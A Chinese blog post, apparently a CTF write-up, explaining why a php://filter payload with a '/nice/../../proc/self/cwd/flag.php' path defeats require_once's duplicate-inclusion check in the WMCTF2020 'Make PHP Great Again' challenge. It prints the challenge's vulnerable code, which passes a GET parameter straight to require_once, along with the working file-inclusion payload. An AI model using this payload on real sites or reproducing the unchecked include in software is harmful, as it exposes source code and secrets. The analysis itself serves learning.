[WMCTF2020]Make PHP Great Again非预期解原因

最新推荐文章于 2023-12-08 10:03:14 发布

azraelxuemo

最新推荐文章于 2023-12-08 10:03:14 发布

阅读量429

点赞数 2

文章标签： ubuntu linux php

本文链接：https://blog.csdn.net/azraelxuemo/article/details/121664453

版权

本文探讨了PHP中涉及路径解析的非预期解，通过环境配置和代码示例解释了`/proc/self/cwd`在路径解析中的作用。当使用`require_once`时，如何因符号链接和重复包含导致的问题。分析了成功和失败的情况，并揭示了PHP源码中处理资源的过滤过程。

摘要由CSDN通过智能技术生成

当时这个题出现了一个这样的非预期解

?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

以及这样回失败

?file=php://filter/convert.base64-encode/resource=/proc/self/cwd/flag.php

这里涉及php这样的一个trunk,我是调试源码发现的

unsucess.php

<?php
include "flag.php";
require_once("php://filter/convert.base64-encode/resource=/proc/self/cwd/flag.php");

flag.php

随便写

sucess.php

<?php
include "flag.php";
require_once("php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php");

首先我们可以了解一下关于/proc/这个目录
/proc/self是一个关于当前进程信息保存的一个目录
那么我怎么去查看呢，首先我们写这样的一个循环

 php unsucess.php |sleep 10000

然后
在这里插入图片描述

此时对应的self就是26097
我们

cd /proc/26097

可以看到cwd链接到了我们的工作路径
在这里插入图片描述

这个时候由于我们相当于是链接到了主目录如果主目录删除了flag.php,这里面也会没有

同时这个时候如果直接require_once相当于会重复包含，所以导致我们之前如果直接通过绝对路径解析就会出现错误

他们做路径解析的时候
最后都会过滤到resource这个地方
第一个是这样的

/nice/../../proc/self/cwd/flag.php

第二个是这样的

/proc/self/cwd/flag.php

然后他们回尝试去本地解析这个，由于第二个是符号链接，他会解析到对应于我们index.php的flag.php,而第一个解析失败就是当前路径了

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  $a=($_GET['file']);
  require_once($a);
}

而题目源码这里是require_once
所以最后相当于

 #第一个 require_once(''/nice/../../proc/self/cwd/flag.php);
  #第二个 require_once('flag.php');

那么可想而知，由于/proc/self/cwd/存在当前文件的cp,同时这个不算重复包含
而由于第二个在最后requre_once重复引用就挂掉了

关注